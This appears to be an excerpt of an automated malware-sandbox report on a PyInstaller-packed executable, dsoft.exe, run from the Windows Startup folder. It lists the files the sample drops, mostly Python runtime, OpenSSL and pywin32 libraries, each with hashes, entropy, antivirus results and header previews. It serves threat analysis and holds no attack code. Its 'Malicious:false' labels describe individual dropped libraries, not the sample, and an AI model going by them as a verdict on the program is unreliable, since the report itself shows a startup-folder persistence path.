                                                                                                                                                                                                                                        Preview:.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md.cp310-win_amd64.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10752
                                                                                                                                                                                                                                        Entropy (8bit):4.666998646496908
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:sYgp72HzA5iJewkY0hQMsQJCUCLsZEA4elh3XQMtCFjiormHcX6g8cim1qeSju1:sYi2HzzjBbRYoeFomcqgvimoe
                                                                                                                                                                                                                                        MD5:2F5322F17436381CBDFAB91507EC1DFB
                                                                                                                                                                                                                                        SHA1:7129AFBECAFB8C2CED2AF92558A83D466A9B5118
                                                                                                                                                                                                                                        SHA-256:26A5693F387E99382015F063FC408214CB9678CD6E5D5144CDF763415CAEF949
                                                                                                                                                                                                                                        SHA-512:238ADCB787BACB270D1A938A6078CDC9484BFC4F264ED3CE8FDCA084DB1BBE60EF6D79257F1ED1336B0DFB4E9FFB17539FCEBCCF3E4F92EDE945E0C3B0CE6898
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C.V"..V"..V".._Z..T"...^..T"...Z..T"...^..]"...^..^"...^..U"..W..U"..V"..p".._..W".._..W".._v.W".._..W"..RichV"..........................PE..d....A5e.........." ...#.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md__mypyc.cp310-win_amd64.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):114688
                                                                                                                                                                                                                                        Entropy (8bit):5.8932461766936814
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:s66coUgCxkfBHPKBJLDt1x00w01/1jy8ryypQKN:G7qtB1/hysycQKN
                                                                                                                                                                                                                                        MD5:1914BD95160CB04ACE6F362EA3E2D02C
                                                                                                                                                                                                                                        SHA1:21C0662BDC01C8B5990793E7FABA330FCF015594
                                                                                                                                                                                                                                        SHA-256:9A59405ABEC5F42FD6C8EB8205BF710317A311E988AE52837F31C6AFA9A2D79E
                                                                                                                                                                                                                                        SHA-512:28643C00DBBBCD6F5C3F5ACE09CB0137DED209FF5BC7DF3E401DA12A84FA62FC053F1872C7491B75DE6C63CBC518C301C1F389C0F140939912CBD2625FCF664B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........RKSJ3%.J3%.J3%.CK..B3%..O$.H3%..K$.H3%..O .G3%..O!.B3%..O&.I3%..F$.I3%.J3$..3%..N-.K3%..N%.K3%..N..K3%..N'.K3%.RichJ3%.................PE..d....A5e.........." ...#."...........%....................................................`.............................................d...t...................................$....u...............................t..@............@...............................text.... .......".................. ..`.rdata...U...@...V...&..............@..@.data...p8.......,...|..............@....pdata..............................@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\libcrypto-1_1.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):3441504
                                                                                                                                                                                                                                        Entropy (8bit):6.097985120800337
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:8TKuk2CQIU6iV9OjPWgBqIVRIaEv5LY/RnQ2ETEvrPnkbsYNPsNwsML1CPwDv3u6:Vv+KRi5KsEKsY+NwsG1CPwDv3uFfJu
                                                                                                                                                                                                                                        MD5:6F4B8EB45A965372156086201207C81F
                                                                                                                                                                                                                                        SHA1:8278F9539463F0A45009287F0516098CB7A15406
                                                                                                                                                                                                                                        SHA-256:976CE72EFD0A8AEEB6E21AD441AA9138434314EA07F777432205947CDB149541
                                                                                                                                                                                                                                        SHA-512:2C5C54842ABA9C82FB9E7594AE9E264AC3CBDC2CC1CD22263E9D77479B93636799D0F28235AC79937070E40B04A097C3EA3B7E0CD4376A95ED8CA90245B7891F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........a...2...2...2...2...2..3...2..3...2..3...2..3...2...2...2L.3...2..3...2..3.2..3...2..p2...2..3...2Rich...2........................PE..d...m..b.........." ... ..$...................................................4....../5...`..........................................h/..h...*4.@....`4.|....`2.....Z4.`)...p4..O....,.8...........................`.,.@............ 4..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......`2.......1.............@..@.idata..^#... 4..$....3.............@..@.00cfg..u....P4.......3.............@..@.rsrc...|....`4.......3.............@..@.reloc...x...p4..z....3.............@..B................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\libffi-7.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):32792
                                                                                                                                                                                                                                        Entropy (8bit):6.3566777719925565
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
                                                                                                                                                                                                                                        MD5:EEF7981412BE8EA459064D3090F4B3AA
                                                                                                                                                                                                                                        SHA1:C60DA4830CE27AFC234B3C3014C583F7F0A5A925
                                                                                                                                                                                                                                        SHA-256:F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
                                                                                                                                                                                                                                        SHA-512:DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\libssl-1_1.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):702816
                                                                                                                                                                                                                                        Entropy (8bit):5.547832370836076
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:UUnBMlBGdU/t0voUYHgqRJd7a7+JLvrfX7bOI8Fp0D6WuHU2lvzR:UN/t0vMnffOI8Fp0D6TU2lvzR
                                                                                                                                                                                                                                        MD5:8769ADAFCA3A6FC6EF26F01FD31AFA84
                                                                                                                                                                                                                                        SHA1:38BAEF74BDD2E941CCD321F91BFD49DACC6A3CB6
                                                                                                                                                                                                                                        SHA-256:2AEBB73530D21A2273692A5A3D57235B770DAF1C35F60C74E01754A5DAC05071
                                                                                                                                                                                                                                        SHA-512:FAC22F1A2FFBFB4789BDEED476C8DAF42547D40EFE3E11B41FADBC4445BB7CA77675A31B5337DF55FDEB4D2739E0FB2CBCAC2FEABFD4CD48201F8AE50A9BD90B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.p*..p*..p*......p*...+..p*.\.+..p*.../..p*......p*...)..p*...+..p*..p+.iq*......p*...*..p*.....p*...(..p*.Rich.p*.........PE..d......b.........." ... .B...T......<.....................................................`.........................................@A...N..@U..........s........M......`)......h...0...8...............................@............@..@............................text....@.......B.................. ..`.rdata..J/...`...0...F..............@..@.data...AM.......D...v..............@....pdata...V.......X..................@..@.idata..%W...@...X..................@..@.00cfg..u............j..............@..@.rsrc...s............l..............@..@.reloc..l............t..............@..B................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\pyexpat.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):198520
                                                                                                                                                                                                                                        Entropy (8bit):6.365137514820493
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:nYSqakQm3pSouj2yVi00L+Drqk8avRoxtLR8C9ekJhgkFyRnObUpzGxvspVRI7QD:YwcPuj2yk+Drqk8/yMfJyvt
                                                                                                                                                                                                                                        MD5:43E5A1470C298BA773AC9FCF5D99E8F9
                                                                                                                                                                                                                                        SHA1:06DB03DAF3194C9E492B2F406B38ED33A8C87AB3
                                                                                                                                                                                                                                        SHA-256:56984D43BE27422D31D8ECE87D0ABDA2C0662EA2FF22AF755E49E3462A5F8B65
                                                                                                                                                                                                                                        SHA-512:A5A1EBB34091EA17C8F0E7748004558D13807FDC16529BC6F8F6C6A3A586EE997BF72333590DC451D78D9812EF8ADFA7DEABAB6C614FCE537F56FA38CE669CFC
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9h..}..}..}..tqu.q..2u....2u.p..2u.u..2u.~...u....{.~..}......u.y...u.|...u..|...u.|..Rich}..................PE..d...+..c.........." ..."............................................................U.....`.........................................`...P...............................x)..........@6..T............................5..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\python310.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4492664
                                                                                                                                                                                                                                        Entropy (8bit):6.463653563183579
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:m/4rIQeEKdN4uxzx1njuYWxKLx5NFnb7d1G2F58rkx7qzMJYlf1GCJLvNyoInO3V:mS7q35VNFnlRqT84NAnYHAMDlPK0r
                                                                                                                                                                                                                                        MD5:DEAF0C0CC3369363B800D2E8E756A402
                                                                                                                                                                                                                                        SHA1:3085778735DD8BADAD4E39DF688139F4EED5F954
                                                                                                                                                                                                                                        SHA-256:156CF2B64DD0F4D9BDB346B654A11300D6E9E15A65EF69089923DAFC1C71E33D
                                                                                                                                                                                                                                        SHA-512:5CAC1D92AF7EE18425B5EE8E7CD4E941A9DDFFB4BC1C12BB8AEABEED09ACEC1FF0309ABC41A2E0C8DB101FEE40724F8BFB27A78898128F8746C8FE01C1631989
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R..R..R...S..R......R...W..R...V..R...Q..R.....R.K.S..R..S..R.'._.X.R.'.R..R.'....R.'.P..R.Rich..R.........PE..d......c.........." ..."..#...!...............................................E.......D...`..........................................?=.......>.|.....E.......B......dD.x)....E..t.. @%.T............................>%.@.............#.8............................text...r.#.......#................. ..`.rdata..<e....#..f....#.............@..@.data........0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B........................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pythoncom310.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):669184
                                                                                                                                                                                                                                        Entropy (8bit):6.03765159448253
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:zxxMpraRSS9Y68EuBPjIQN5cJzS7bUxgyPxFMH0PIXY3dVVVVAuLpdorrcK/CXjW:zxxMZMX1bQIJO7bazPEQSYNBLpdwNu
                                                                                                                                                                                                                                        MD5:65DD753F51CD492211986E7B700983EF
                                                                                                                                                                                                                                        SHA1:F5B469EC29A4BE76BC479B2219202F7D25A261E2
                                                                                                                                                                                                                                        SHA-256:C3B33BA6C4F646151AED4172562309D9F44A83858DDFD84B2D894A8B7DA72B1E
                                                                                                                                                                                                                                        SHA-512:8BD505E504110E40FA4973FEFF2FAE17EDC310A1CE1DC78B6AF7972EFDD93348087E6F16296BFD57ABFDBBE49AF769178F063BB0AA1DEE661C08659F47A6216D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..x...+...+...+..P+...+T..*...+T..*...+T..*...+T..*...+..*...+...*...+...*...+...*...+...+U..+..*W..+..*...+..*...+Rich...+................PE..d...k..d.........." ................4.....................................................`..........................................U...c..............l....@...z............... ......T...........................0...8............................................text...#........................... ..`.rdata...$.......&..................@..@.data....I..........................@....pdata...z...@...|..................@..@.rsrc...l...........................@..@.reloc... ......."..................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pywintypes310.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):134656
                                                                                                                                                                                                                                        Entropy (8bit):5.992653928086484
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:DLVxziezwPZSMaAXpuuwNNDY/r06trfSsSYOejKVJBtGdI8hvnMu:HfziezwMMaAX2Y/rxjbOejKDBtG681n
                                                                                                                                                                                                                                        MD5:CEB06A956B276CEA73098D145FA64712
                                                                                                                                                                                                                                        SHA1:6F0BA21F0325ACC7CF6BF9F099D9A86470A786BF
                                                                                                                                                                                                                                        SHA-256:C8EC6429D243AEF1F78969863BE23D59273FA6303760A173AB36AB71D5676005
                                                                                                                                                                                                                                        SHA-512:05BAB4A293E4C7EFA85FA2491C32F299AFD46FDB079DCB7EE2CC4C31024E01286DAAF4AEAD5082FC1FD0D4169B2D1BE589D1670FCF875B06C6F15F634E0C6F34
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.$.X.w.X.w.X.w. [w.X.w.-.v.X.w.75w.X.w.-.v.X.w.-.v.X.w.-.v.X.w.3.v.X.wJ1.v.X.w.3.v.X.w.X.w.X.w,-.v.X.w,-.v.X.w,-.v.X.wRich.X.w........................PE..d......d.........." .........................................................P............`......................................... u..dB......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\select.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):29048
                                                                                                                                                                                                                                        Entropy (8bit):6.478463870483955
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:zeS+FwhCWHqhmIRI77GwYiSyv87PxWEgC:zeS+ahVKhmIRI77Gw7SyGPxL
                                                                                                                                                                                                                                        MD5:C119811A40667DCA93DFE6FAA418F47A
                                                                                                                                                                                                                                        SHA1:113E792B7DCEC4366FC273E80B1FC404C309074C
                                                                                                                                                                                                                                        SHA-256:8F27CD8C5071CB740A2191B3C599E99595B121F461988166F07D9F841E7116B7
                                                                                                                                                                                                                                        SHA-512:107257DBD8CF2607E4A1C7BEF928A6F61EBDFC21BE1C4BDC3A649567E067E9BB7EA40C0AC8844D2CEDD08682447B963148B52F85ADB1837F243DF57AF94C04B3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].t.<r'.<r'.<r'.D.'.<r'.@s&.<r'.@w&.<r'.@v&.<r'.@q&.<r'i@s&.<r'.<s'.<r'.Ns&.<r'i@.&.<r'i@r&.<r'i@.'.<r'i@p&.<r'Rich.<r'........PE..d...&..c.........." ...".....2............................................................`..........................................@..L....@..x....p.......`.......H..x)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info\INSTALLER

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4
                                                                                                                                                                                                                                        Entropy (8bit):1.5
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Mn:M
                                                                                                                                                                                                                                        MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                        SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                        SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                        SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:pip.

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info\LICENSE

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1050
                                                                                                                                                                                                                                        Entropy (8bit):5.072538194763298
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24:1rmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:1aJ8YHvEH5QHOs5exm3oEFJ
                                                                                                                                                                                                                                        MD5:7A7126E068206290F3FE9F8D6C713EA6
                                                                                                                                                                                                                                        SHA1:8E6689D37F82D5617B7F7F7232C94024D41066D1
                                                                                                                                                                                                                                        SHA-256:DB3F0246B1F9278F15845B99FEC478B8B506EB76487993722F8C6E254285FAF8
                                                                                                                                                                                                                                        SHA-512:C9F0870BC5D5EFF8769D9919E6D8DDE1B773543634F7D03503A9E8F191BD4ACC00A97E0399E173785D1B65318BAC79F41D3974AE6855E5C432AC5DACF8D13E8A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Copyright Jason R. Coombs..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTW

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info\METADATA

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):6301
                                                                                                                                                                                                                                        Entropy (8bit):5.107162422517841
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:W4rkAIG0wRg8wbNDdq6T9927uoU/GBpHFwTZ:Sq0wRg8wbNDdBh927uoU/GBRFi
                                                                                                                                                                                                                                        MD5:9E59BD13BB75B38EB7962BF64AC30D6F
                                                                                                                                                                                                                                        SHA1:70F6A68B42695D1BFA55ACB63D8D3351352B2AAC
                                                                                                                                                                                                                                        SHA-256:80C7A3B78EA0DFF1F57855EE795E7D33842A0827AA1EF4EE17EC97172A80C892
                                                                                                                                                                                                                                        SHA-512:67AC61739692ECC249EBDC8F5E1089F68874DCD65365DB1C389FDD0CECE381591A30B99A2774B8CAAA00E104F3E35FF3745AFF6F5F0781289368398008537AE7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Metadata-Version: 2.1.Name: setuptools.Version: 65.5.0.Summary: Easily download, build, install, upgrade, and uninstall Python packages.Home-page: https://github.com/pypa/setuptools.Author: Python Packaging Authority.Author-email: distutils-sig@python.org.Project-URL: Documentation, https://setuptools.pypa.io/.Project-URL: Changelog, https://setuptools.pypa.io/en/stable/history.html.Keywords: CPAN PyPI distutils eggs package management.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: Topic :: System :: Systems Administration.Classifier: Topic :: Utilities.Requires-Python: >=3.7.License-File: LICENSE.Provides-Extra: certs.Provides-Extra: docs.Requi

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info\RECORD

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:CSV text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):37694
                                                                                                                                                                                                                                        Entropy (8bit):5.560695955910088
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:DDz9AkShgQUgq/kc2mIkpIVh498WjXYW1P5+Eu8X62aDoaQPKJfRQIbwA+hof2yf:Dn3OIyQgIAY8T/7T962lSsSGxt9Im
                                                                                                                                                                                                                                        MD5:E30355B5F7466BEE1691929B05EED672
                                                                                                                                                                                                                                        SHA1:B9F1275EF04F2D36DD1F801DE116AC12AA68722E
                                                                                                                                                                                                                                        SHA-256:CEBD9639E6923A470E818350691053C3CC846A72426A9BFCB70F092868FA0D5B
                                                                                                                                                                                                                                        SHA-512:C7A56FE3037A07035279FF063406F7999360D5B275D743C0EF88335EB98BE4CA539775CC1470BF121CE166AA53E3E55002BE7402350E62811EA2B4D0BBD6A617
                                                                                                                                                                                                                                        Malicious:false
